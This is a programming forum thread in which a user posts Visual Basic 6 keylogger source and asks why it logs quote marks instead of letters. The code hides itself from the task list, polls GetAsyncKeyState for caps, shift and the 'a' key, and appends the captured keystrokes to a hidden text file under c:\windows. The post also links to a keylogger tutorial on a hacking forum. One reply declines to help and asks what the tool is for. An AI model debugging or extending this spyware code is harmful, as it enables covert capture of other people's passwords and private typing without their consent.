CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 3 of 3
  1. #1
    Join Date
    Feb 2009
    Posts
    1

    Question Keylogger VB Code help GetAsyncKeyState

    Hi Friends,

    I got a vb keylogger code from my friend which is as below:


    ----------------------------------------------------------------------------------------------------------------------

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
    Dim caps As Boolean
    Dim shift As Boolean
    Private Sub Form_Load()
    If App.PrevInstance = True Then End
    App.TaskVisible = False
    If Dir("c:\windows\klogs.txt") <> "" Then
    Open "c:\windows\klogs.txt" For Append As #1
    Write #1,
    Write #1, DateTime.Time
    Write #1,
    Close #1
    End If
    End Sub

    Private Sub Timer1_Timer()

    End Sub

    Private Sub Timer2_Timer()
    On Error GoTo skip
    If Dir("c:\windows\klogs.txt") <> "" Then
    Open "c:\windows\klogs.txt" For Append As #1
    Write #1, Label1.Caption
    Close #1
    Else
    Open "c:\windows\klogs.txt" For Output As #1
    Write #1, DateTime.Time
    Write #1,
    Write #1, Label1.Caption
    Close #1
    End If
    Label1.Caption = ""
    skip:
    End Sub

    ----------------------------------------------------------------------------------------------------------------------

    OK. He says to add the below code to Timer1 and this will print 'a' letter in the log file (klogs.txt) when ever a user presses 'a' letter key.


    Private Sub Timer1_Timer()
    ab:
    If GetAsyncKeyState(20) <> 0 Then
    If caps = True Then
    Label1.Caption = Label1.Caption + "(/caps)"
    caps = False
    GoTo a
    End If
    Label1.Caption = Label1.Caption + "(caps)"
    caps = True
    End If
    If GetAsyncKeyState(16) <> 0 Then
    shift = True
    End If
    a:
    If GetAsyncKeyState(65) <> 0 Then
    If shift = True Then
    Label1.Caption = Label1.Caption + "A"
    shift = False
    GoTo b
    End If
    Label1.Caption = Label1.Caption + "a"
    End If
    b:

    -----------------------------------------------------------------------------------------------------------------------


    OK. But when i put the above code in timer1 and debug it and press 'a' letter key it doesn't write 'a' letter to the log file. it just writes 2 obliques ('''') when ever i press 'a' letter key to the log file.

    PLEASE HELP ME IF I HAVE MADE SOME MISTAKE IN WRITING THE CODE.

    AND ALSO YOU CAN CHECK MY FRIEND KEYLOGGER TUTORIAL IN VB WHICH HAS ALL THE SCREEN SHOTS AND CODE IN DETAIL.

    http://www.hackforums.net/showthread...d=29260&page=1

    WAITING FOR VALUABLE REPLY.

    REGARDS,

    HITESH.

  2. #2
    Join Date
    Jun 2004
    Location
    Kashmir, India
    Posts
    6,808

    Re: Keylogger VB Code help GetAsyncKeyState

    We do not help people in developing KeyLoggers. What is the purpose of this KeyLogger, what are you going to use it for?

  3. #3
    Join Date
    Jan 2006
    Location
    Fox Lake, IL
    Posts
    15,007

    Re: Keylogger VB Code help GetAsyncKeyState

    You can never press 'A' enough times, I guess?
    David

    CodeGuru Article: Bound Controls are Evil-VB6
    2013 Samples: MS CODE Samples

    CodeGuru Reviewer
    2006 Dell CSP
    2006, 2007 & 2008 MVP Visual Basic
    If your question has been answered satisfactorily, and it has been helpful, then, please, Rate this Post!

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured